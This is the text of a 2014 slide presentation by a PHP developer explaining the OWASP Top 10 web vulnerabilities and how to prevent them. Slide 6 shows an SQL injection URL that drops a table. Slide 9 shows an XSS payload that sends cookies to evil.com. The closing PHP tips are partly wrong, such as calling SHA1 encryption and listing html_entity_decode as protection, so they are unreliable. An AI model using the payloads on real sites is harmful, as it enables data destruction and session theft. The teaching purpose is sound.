Hello Friends,
This Is a presentation on OWASP(Open Web Application Security Project) top 10 key points. if we follow that rules we are able to create more secure system and prevent from different hackers and bugs.
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
The top 10 security weakness (vulnerabilities) in web applications (OWASP Top 10)
1. Prepared By : Rushit Brahmbhatt
Date: 10-07-2014
Mobile no: +91-8866115181
Company: Mxicoders Pvt. Ltd.
2. Intro
Open Web Application Security Project (OWASP)
Top 10 Security Vulnerabilities
Avoiding
Php Tips
3. What is OWASP?
Website: http://owasp.org
Worldwide non-profit focused on improving software
security
Reaches out to ALL developers: not just security professionals
Who am I?
Bachelor in Computer Science And Engineering(GTU)
Work as a PHP Developer since 1.5 Year
Employee of Mxicoders Pvt. Ltd.
What will you learn?
The top 10 security mistakes that developers make
How to design software with an assurance of security
4. 1) Injection
2) Cross Site Scripting
3) Broken Authentication and Session Management
4) Insecure Direct Object References
5) Cross Site Request Forgery (CSRF)
6) Security Misconfiguration
7) Insecure Cryptographic Storage
8) Failure to Restrict URL Access
9) Insufficient Transport Layer Protection
10) Invalidated Redirects and Forwards
5. Used when your app sends user-supplied data to other
apps
Database, Operating System, LDAP, Web Services
Hackers "inject" their code to run instead of yours
To access unauthorized data, or completely take over
remote application
6. Code expects a nice URL:
http://example.com/products?id=123
Hacker could instead supply
this:http://example.com/products?id=';+DROP+TABLE+'
products';
7. Always assume data coming in could be "evil"
be sure to include "evil" use cases and user stories in
your design
Use an interface that supports bind variables (e.g.,
prepared statements, or stored procedures)
Encode all user input before passing it to the
interpreter
If user-input text is needed, use parameterized queries
clean up quotes, parenthesis, and SQL comments
8. Sites must "cleanse" user input before displaying it
Hackers can create URLs to inject their own HTML
onto the page
can be used to do almost any kind of attack!!!
Steal user’s session, steal sensitive data, rewrite web
page, redirect user to phishing or malware site
Most Severe: Install XSS proxy which allows attacker to
observe and direct all user’s behavior on vulnerable
site and force user to other sites
9. Code expects a nice URL:
http://example.com/buy?item=123
But a hacker could supply this:
http://example.com/buy?item='><script>document.loca
tion='http://evil.com/steal/'+document.cookie</script>
10. Never, ever, ever trust user-submitted content!
URLs, comments threads, web forms
Properly "escape" any data before displaying it on web pages
JavaScript parameters, URL parameters, STYLE elements
Remove script tags, and possibly anything with a SRC attribute
Use ESAPI to "cleanse" your HTML
Do not allow state-change from HTTP GET requests
Otherwise, an IMG tag could cause you to lose all your data
Set the HttpOnly flag in your response headers
Prevents document.cookie from working in JavaScript
11. HTTP is a "stateless" protocol
Nice and simple: HTTP request, HTTP response
All data must be passed in the request every time
How do we store state?
Client side with cookies
Server side with sessions
Most apps place a "sessionId" in cookies, or in the URL
Problem: User accounts compromised or user sessions hijacked
Multiple ways to determine a session ID
HttpReferrer logs, if sessionId is in the URL
12. Assume that a user stole a session ID
Determine how bad this would be in your application
Use SSL everywhere!
Makes it harder for people to “sniff” your session ID
If you cannot use SSL everywhere, use it for logins
Have a cryptographically strong session ID
Verify that logoff actually destroys the session
Good sessionIds should be very difficult to re-use
Embed user IP address, user name, timestamp, and a secret
Forces an attacker to spoof IP addresses to take over
Prompt for re-login if IP changes during a session
13. This is part of enforcing proper “Authorization”, along
with 7 – Failure to Restrict URL Access
Only listing the ‘authorized’ objects for the current
user,
This is called presentation layer access control, and
doesn’t work
Users are able to access unauthorized files or data
14. Code expects a nice URL:
http://example.com/profile/123
But a hacker could supply this:
http://example.com/profile/124
Attacker views the victim’s account information
15. Eliminate the direct object reference
Validate the direct object reference
Verify the parameter value is properly formatted
Verify the user is allowed to access the target object
Verify the requested mode of access is allowed to the
target object (e.g., read, write, delete)
16. An attack where the victim’s browser is tricked into
issuing a command to a vulnerable web application
Vulnerability is caused by browsers automatically
including user authentication data (session ID, IP
address, Windows domain credentials, …) with each
request
Impact :
Initiate transactions (transfer funds, logout user, close
account)
Access sensitive data
Change account details
17. All state change should require a unique token in the
request
But if its in the URL, it's vulnerable!
avoid reusable tokens
General solution:
All state change requires HTTP POST, not a GET
Put one-time token in a hidden field on the web form
After POST, do a GET redirect to a confirmation page
What kind of token?
Single-request tokens: safest, but a pain
Session-based tokens hashed with session ID and action
Require multiple-level authentication
If an action looks fishy, re-prompt user for login
18. Most web applications depend on some kind of framework
Weblogic, Spring, Ruby on Rails, Open Source Libraries,
Codeignitor, wordpress, joomla, cakephp.
What if your framework issued a security patch?
Do you have a centralized policy for keeping dependencies
up-to-date?
How long would it take you to discover new code?
How long would it take to recompile/test/redeploy?
Do you know all security configurations in the framework?
Odds are no... documentation is usually obtuse
“Being helpful is a security hole”
Have you properly "hardened" your framework?
Delete default users, disable unused services and ports
19. Subscribe to newsletters and blog feeds to get patches
Install the patches as quickly as possible
Do periodic scans to detect missing patches
Disable features that are "nice" for developers, but
"nasty" for security
Use automation to ensure patches are up-to-date
If you can't verify it, it's not secure?
20. All applications store sensitive data
Credit cards, passwords, secure documents
How much "sensitive" data is in your log files?
In general, or for exotic errors?
How are you preventing unauthorized access to these
resources?
If somebody stole your backup tapes, how bad would it
be?
21. If you store secrets, encrypt them!
Use only battle-tested standard encryption algorithms
Analyze possible threats: inside attack, external user
Make sure encryption policy is appropriate for the threats
Encrypt data anywhere it's stored long term
Especially backups!
Store backups of decryption keys separately from data
Restrict access to decrypted data to only authorized users
Hash all passwords with a standard algorithm, and a "salt"
Use strong keys to access the information
Create a password management policy, and stick with it!
22. Similar to #4: Insecure Direct Object Reference
Need to block specific actions, even if no resource is
identified
Attackers invoke functions and services they’re not
authorized for
Access other user’s accounts and data
Perform privileged actions
23. Code expects a nice URL:
http://example.com/user/getAccounts
But a hacker could supply this:
http://example.com/admin/getAccounts
Attacker views more accounts than just their own
24. For each URL, a site needs to do 3 things
Restrict access to authenticated users (if not public)
Enforce any user or role based permissions (if private)
Completely disallow requests to unauthorized page types (e.g.,
config files, log files, source files, etc.)
Verify your architecture
Use a simple, positive model at every layer
Be sure you actually have a mechanism at every layer
Verify the implementation
Forget automated analysis approaches
Verify that each URL in your application is protected
Verify the server configuration disallows requests to unauthorized
file types
Use WebScarab or your browser to forge unauthorized requests
25. How is sensitive information sent from the user to your
server?
When they log in, or view sensitive data?
How do you send that information to other systems?
JDBC call, Web Services, JMS, emails
26. Use strong, standards compliant network security
protocols
Use TLS (SSL) on all connections with sensitive data
Encrypt messages before transmission
XML-Encryption
Sign messages before transmission
XML-Signature
Disable old, flawed encryption algorithms (ie, SSL 2.0)
If HTTPS is impractical, at the very least secure the
login process
27. And frequently include user supplied parameters in
the destination URL
If they aren’t validated, attacker can send victim to a
site of their choice
Sometimes called "phishing holes"
28. Restrict redirects to a limited number of "trusted" sites
Keep a list of all redirect URLs, and pass the ID in the
request, instead of the URL
http://example.com/redirect?urlId=123
Hash the URL with a secret, and pass the hash in the
URL
http://example.com/redirect?url=google.com&hash=a1b
2c3
29. Use Captcha
Always Use Server side validation
Use access token
Use Salt key
Use Encryption Algorithms
Use Database prefix
Validate User Input
30. html_entity_decode() - Convert all HTML entities to their
applicable characters
htmlspecialchars() - Convert special characters to HTML
entities
urlencode() - URL-encodes string
mysql_real_escape_string()-Escapes special characters
Sh1()-defult encryption algorithm
strip_tags() – This function removes all the HTML,
JavaScript and php tag from the string.
Intval- it is function which gets the integer value from the
variable